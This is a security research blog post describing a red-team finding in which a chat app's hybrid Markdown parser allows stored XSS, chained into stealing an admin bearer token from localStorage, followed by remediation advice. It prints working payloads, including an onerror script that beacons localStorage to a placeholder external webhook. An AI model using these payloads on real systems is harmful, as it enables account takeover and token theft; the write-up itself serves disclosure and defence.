security research
iltosec
← back to blog
Xss Injection Account Takeover enumeration Account Takeover

Stored XSS to Full Account Takeover: Chaining a Hybrid Markdown Parser Flaw with localStorage Token Theft

Introduction

During a red team engagement for a client, I was testing an internal messaging platform embedded in a corporate collaboration tool - a real-time chat feature built on Socket.IO that employees used for day-to-day communication. The application authenticated users with a bearer token rather than a session cookie, and that single architectural choice ended up being the difference between "a nasty XSS" and "full account takeover through token theft."

This post walks through how an unsanitized Markdown renderer turned into a stored XSS vector, and how that XSS was chained into stealing authentication tokens directly out of the browser.

All testing was conducted under a signed agreement. Company names, domains, and identifying information have been redacted or replaced with company.xyz.com throughout.


Reconnaissance

The messaging feature communicated over Socket.IO, with messages processed server-side before being broadcast to all participants in a chat room. Intercepting the traffic showed the platform used a hybrid Markdown parser - one that processed both Markdown syntax ([text](url), **bold**, etc.) and raw HTML tags in the same pass.

That combination is a common source of sanitization gaps: teams often sanitize the Markdown output but forget that raw HTML slipping through the same pipeline needs identical treatment. It was worth testing directly.

Two things made this particularly interesting from an impact perspective:

image


Finding 1: HTML Injection via Unsanitized Message Rendering

The first test was simple: send a message containing raw HTML and see if it rendered as-is.

<b style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(255,0,0,0.7);backdrop-filter:blur(10px);-webkit-backdrop-filter:blur(10px);z-index:999999;display:flex;flex-direction:column;justify-content:center;align-items:center;color:white;font-family:sans-serif;text-align:center;line-height:1.2;"><span style="font-size:10vw;font-weight:900;">HACKED BY - ILTOSEC.COM</span></b>

Sending this into the chat room rendered exactly as written. Every participant's screen was instantly covered by a full-page blue overlay with the injected text.

The parser wasn't just failing to strip the <b> tag - it was passing style attributes straight through, including position: fixed and z-index. That's a meaningful detail: even a sanitizer that blocks <script> tags is still exploitable if it allows arbitrary inline CSS, because position: fixed overlays are enough to build a convincing fake login screen for a phishing pretext.

At this stage, the bug was already a confirmed stored HTML injection - every user who opened the chat room would see the attacker-controlled overlay. But the more interesting question was whether it could execute JavaScript.

image


Finding 2: Stored XSS via the Hybrid Markdown Parser

The parser handled Markdown link syntax and raw HTML in the same rendering pass, so the next test combined both in a single payload:

[Click here](https://iltosec.com) <img src=x onerror=alert('ILTOSEC.COM!!')>

The result confirmed the hybrid-parsing theory exactly:

Since x is not a valid image source, the browser's onerror event fired immediately, executing the JavaScript payload. Because the message was stored server-side and re-rendered for every user who opened the chat room, this was a stored XSS: the payload didn't need to be re-sent, it fired automatically for anyone who viewed the conversation - including an admin.

This is the pattern worth remembering: sanitizers that clean either the Markdown output or raw HTML, but treat them as two separate problems instead of one unified output stream, tend to leave exactly this kind of gap at the seam between the two.

image

image


Finding 3: Chaining the XSS into Admin Token Theft

With stored XSS confirmed and the authentication token sitting in localStorage, the next step was proving real-world impact rather than stopping at a proof-of-concept alert().

The payload was rebuilt to exfiltrate localStorage contents to an external webhook using navigator.sendBeacon, chosen specifically because it fires reliably even if the page is navigated away from immediately after:

[Click here](https://iltosec.com) <img src=x onerror="try{
  var f=new FormData();
  f.append('data', btoa(encodeURIComponent(JSON.stringify(localStorage))));
  navigator.sendBeacon(atob('WEBHOOK_URL_BASE64'), f)
}catch(e){
  var f=new FormData();
  f.append('data', btoa('ERR'));
  navigator.sendBeacon(atob('WEBHOOK_URL_BASE64'), f)
}">

The attack chain played out like this:

Stored XSS payload is sent to the chat room
        ↓
Admin opens the chat room → XSS fires
        ↓
localStorage is read → bearer token extracted
        ↓
Token is exfiltrated via sendBeacon to an external webhook
        ↓
Attacker replays the token in API requests
        ↓
Full admin-level access to the platform

Once the admin opened the affected chat room, the payload executed silently, Base64-encoded the entire localStorage object, and beaconed it out. Decoding the exfiltrated data recovered the admin's bearer token. From there, a simple Authorization: Bearer <token> header on any API request gave full administrative access to the platform - no further exploitation needed.

The key point that made this so severe: because there was no HttpOnly cookie in the picture, the usual "XSS can't touch the session token" mitigation didn't exist. The token was sitting in plain, script-readable storage, waiting for exactly this kind of payload.

Crafting the Exfiltration Payload & Delivering the Payload to the Chat Room

image

image

Triggering the Payload as Admin & Capturing the Exfiltrated Token & Decoding the localStorage Dump

image

Replaying the Stolen Token for Full Admin Access

The admin's bearer token, recovered from the exfiltrated localStorage dump, was substituted directly into the Authorization header of subsequent API requests:

Authorization: Bearer <stolen_admin_token>

Replaying requests with the stolen token confirmed full administrative access to the platform - every admin-only endpoint responded successfully, with no additional authentication step required. The stolen token alone was sufficient to fully impersonate the admin account.


Impact

Chaining these three findings together produced a complete, silent account takeover path:

Full-page HTML injection - Any user could overlay a convincing fake UI on every other participant's screen, enabling credential-harvesting phishing pretexts from within a domain employees already trusted.

Stored, self-triggering XSS - The payload didn't require social engineering or a victim clicking a link. Simply opening a chat room containing the message was enough to execute arbitrary JavaScript in the victim's session.

Unprotected authentication tokens - Because tokens lived in localStorage instead of an HttpOnly cookie, a single successful XSS was directly equivalent to full account compromise, with no additional exploitation step required.

Privilege-agnostic targeting - The same payload worked against any user who opened the affected chat room, including administrators. An attacker didn't need to specifically target an admin - they only needed an admin to eventually view the conversation.


Remediation

Sanitize before storage, not just before render. Message content should be passed through a robust sanitization library (e.g., DOMPurify) server-side before it's persisted, not only at render time.

Treat Markdown and HTML as one output pipeline. If the Markdown parser also permits raw HTML passthrough, the sanitization step must run after Markdown-to-HTML conversion, on the final combined output - not independently on each stage.

Block inline styles and event handlers by default. style attributes and handlers like onerror, onload, and onclick should be stripped unless explicitly whitelisted for a narrow, safe subset of properties.

Move authentication tokens out of localStorage. Tokens should be stored in HttpOnly, Secure cookies so they're inaccessible to JavaScript entirely, removing the payoff for any XSS that does slip through.

Shorten token lifetimes and add refresh tokens. Even with better storage, short-lived access tokens paired with a refresh flow limit how much damage a leaked token can do.

Add re-authentication on anomalous token use. Token usage from a new location or unfamiliar user-agent should require step-up authentication.

Set a strict Content-Security-Policy. A connect-src 'self' directive would have blocked the sendBeacon call from reaching an external webhook in the first place, and script-src 'self' would prevent inline script execution entirely.

found this useful?
share on x ↗
related posts